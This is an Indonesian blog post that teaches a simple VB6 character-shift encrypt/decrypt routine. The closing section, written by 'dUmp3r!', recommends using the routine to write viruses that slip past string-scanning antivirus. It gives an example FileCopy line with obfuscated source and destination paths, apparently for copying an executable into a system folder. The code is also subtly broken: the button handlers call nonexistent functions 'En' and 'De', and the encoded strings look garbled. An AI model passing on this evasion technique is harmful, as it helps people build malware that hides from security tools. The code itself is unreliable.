Simple Encrypt/Decrypt VB6.0 - Pertama2 design form menjadi seperti ini
-Command1 = Encrypt
-Command2 = Decrypt
-Text1 = Untuk menampung string
-text2 = Untuk menampung hasil
tambah kode ini pada form :
Public Function Encrypt(ByVal Teks As String) As String
Dim Panjang_Teks As Integer
Dim Teks_Baru As String
Karakter = ""
Panjang_Teks = Len(Teks)
For i = 1 To Panjang_Teks
Karakter = Mid(Teks, i, 1)
Select Case Asc(Karakter)
Case 65 To 90 'huruf besar
Karakter = Chr(Asc(Karakter) + 100)
Case 97 To 122 'huruf kecil
Karakter = Chr(Asc(Karakter) + 100)
Case 48 To 57 'angka
Karakter = Chr(Asc(Karakter) + 100)
Case 32 'space
Karakter = Chr(32)
End Select
Teks_Baru = Teks_Baru + Karakter
Next
Encrypt = Teks_Baru
End Function
Public Function Decrypt(ByVal Teks As String) As String
Dim Panjang_Teks As Integer
Dim Teks_Baru As String
Karakter = ""
Panjang_Teks = Len(Teks)
For i = 1 To Panjang_Teks
Karakter = Mid(Teks, i, 1)
Select Case Asc(Karakter)
Case 65 To 90 'huruf besar
Karakter = Chr(Asc(Karakter) - 100)
Case 97 To 122 'huruf kecil
Karakter = Chr(Asc(Karakter) - 100)
Case 48 To 57 'angka
Karakter = Chr(Asc(Karakter) - 100)
Case 32 'space
Karakter = Chr(32)
End Select
Teks_Baru = Teks_Baru + Karakter
Next
Decrypt= Teks_Baru
End Function
Private Sub Command1_Click()
Text2.Text = En(Text1.Text)
End Sub
Private Sub Command2_Click()
Text2.Text = De(Text1.Text)
End Sub
'==================================
sekian dr ane gan, fungsi ini bisa agan manfaatkan untuk membuat virus, tujuannya untuk mengecoh antivirus yang menggunakan metode scan string(kecuali Kaspersky, kena mulu sama yg satu ini).
kodenya seperti ini:
'misal
FileCopy app.path & Decrypt("\ȹÑÔ—Ö!") & ".exe", Decrypt("§:\»ÍÒÈÓÛ×\×Ý×ØÉÑ—–\ÙÔÈÅØÉ") & ".exe"
Penjelasan :
FileCopy : Fungsi untuk mengkopi file
Decrypt("\ȹÑÔ—Ö!") & ".exe" : untuk mengecoh, saat fungsi filecopy dipanggil, dia akan mendekrip string ini sebagai Source file.
Decrypt("§:\»ÍÒÈÓÛ×\×Ý×ØÉÑ—–\ÙÔÈÅØÉ") : untuk mengecoh, saat fungsi filecopy dipanggil, dia akan mendekrip string ini sebagai Destination file.
Sekian.
By : dUmp3r!
0 komentar:
Post a Comment